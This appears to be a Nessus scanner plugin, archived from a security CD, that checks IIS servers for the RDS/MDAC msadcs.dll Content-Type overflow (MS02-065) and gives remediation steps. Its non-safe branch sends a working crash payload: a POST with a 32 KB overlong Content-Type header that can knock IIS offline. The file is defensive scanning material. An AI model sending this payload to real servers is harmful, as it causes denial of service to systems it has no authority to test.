home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / msadcs_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  4KB  |  157 lines

  1.  
  2.  
  3.  
  4. if(description)
  5. {
  6.  script_id(11161);
  7.  script_bugtraq_id(6214);
  8.  script_version ("$Revision: 1.12 $");
  9.  script_cve_id("CAN-2002-1142");
  10.  
  11.  
  12.  
  13.  name["english"] = "RDS / MDAC Vulnerability Content-Type overflow";
  14.  
  15.   
  16.  script_name(english:name["english"]);
  17.  
  18.  desc["english"] = "
  19. The remote DLL /msadc/msadcs.dll is accessible by anyone. 
  20. Several flaws have been found in it in the past, we recommend
  21. you restrict access to MSADC only to trusted hosts.
  22.  
  23. Solution: 
  24.   - Launch the Internet Services Manager
  25.   - Select your web server
  26.   - Right-click on MSADC and select 'Properties'
  27.   - Select the tab 'Directory Security'
  28.   - Click on the 'IP address and domain name restrictions'
  29.     option
  30.   - Make sure that by default, all computers are DENIED access
  31.     to this resource
  32.   - List the computers that should be allowed to use it
  33.   
  34. See also: MS advisory MS02-065
  35. Risk factor: High";
  36.  
  37.  
  38.  
  39.  script_description(english:desc["english"]);
  40.  
  41.  summary["english"] = "Determines the presence of msadcs.dll";
  42.  
  43.  
  44.  script_summary(english:summary["english"]);
  45.  
  46.  script_category(ACT_MIXED_ATTACK);
  47.  
  48.  
  49.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
  50.  
  51.  
  52.  family["english"] = "CGI abuses";
  53.  family["francais"] = "Abus de CGI";
  54.  
  55.  script_family(english:family["english"], francais:family["francais"]);
  56.  
  57.  script_dependencie("find_service.nes", "no404.nasl");
  58.  script_require_ports("Services/www", 80);
  59.  exit(0);
  60. }
  61.  
  62. #
  63. # The script code starts here
  64. #
  65. include("http_func.inc");
  66.  
  67. port = get_http_port(default:80);
  68. if ( ! can_host_asp(port:port) ) exit(0);
  69.  
  70.  
  71. if(safe_checks())
  72. {
  73. req = string("POST /msadc/msadcs.dll HTTP/1.1\r\n",
  74. "Host: ", get_host_name(), "\r\n",
  75. "Content-Type: text/plain\r\n",
  76. "Content-Length: 1\r\n\r\nX");
  77.  
  78. if(get_port_state(port))
  79. {
  80.  soc = http_open_socket(port);
  81.  if(!soc)exit(0);
  82.  send(socket:soc, data:req);
  83.  headers = http_recv_headers(soc);
  84.  body = http_recv_body(socket:soc, headers:headers);
  85.  http_close_socket(soc);
  86.  z = string(headers, body);
  87.  if(!z)exit(0);
  88.  if("Content-Type: application/x-varg" >< z){
  89. report = "
  90. The remote DLL /msadc/msadcs.dll is accessible by anyone.  Several flaws have been found in it in the past, 
  91. we recommend you restrict access to MSADC only to trusted hosts.
  92.  
  93. *** Nessus did not test for any security vulnerability but solely relied on the presence of this resource
  94. *** to issue this warning, so this might be a false positive.
  95.  
  96. Solution: 
  97.   - Launch the Internet Services Manager
  98.   - Select your web server
  99.   - Right-click on MSADC and select 'Properties'
  100.   - Select the tab 'Directory Security'
  101.   - Click on the 'IP address and domain name restrictions'
  102.     option
  103.   - Make sure that by default, all computers are DENIED access
  104.     to this resource
  105.   - List the computers that should be allowed to use it
  106.   
  107. See also: MS advisory MS02-065
  108. Risk factor: High";
  109.  
  110.  security_hole(port:port, data:report);
  111.   }
  112.  }
  113.  exit(0);
  114. }
  115. else
  116. {
  117.  #
  118.  # Okay, it turns out that this method crashes HTTP/1.0
  119.  # support in IIS (not HTTP/1.1)
  120.  # 
  121.  req = string("GET /nessus.asp HTTP/1.0\r\n\r\n");
  122.  soc = http_open_socket(port);
  123.  if(!soc)exit(0);
  124.  send(socket:soc, data:req);
  125.  r = http_recv(socket:soc);
  126.  close(soc);
  127.  if(!r)exit(0);
  128.  
  129.  
  130.  
  131.  q = raw_string(0x22);
  132.  body = string("Content-Type: application/", crap(32768), ";bob=", q, "bob", q, "\r\n",
  133.             "Content-Length: 0\r\n");
  134.            
  135.  len = strlen(body);        
  136.            
  137.  req = string("POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1\r\n",
  138. "Host: ", get_host_name(), "\r\n",
  139. "Content-Length: ", len, "\r\n\r\n", body);
  140.  
  141.   soc = http_open_socket(port);
  142.   if(!soc)exit(0);
  143.   send(socket:soc, data:req);
  144.   r = http_recv_headers(soc);
  145.   
  146.   close(soc);
  147.   
  148.  sleep(1);
  149.  req = string("GET /nessus.asp HTTP/1.0\r\n\r\n");
  150.  soc = http_open_socket(port);
  151.  if(!soc)exit(0);
  152.  send(socket:soc, data:req);
  153.  r = http_recv(socket:soc);
  154.  close(soc);
  155.  if(!r)security_hole(port);
  156. }
  157.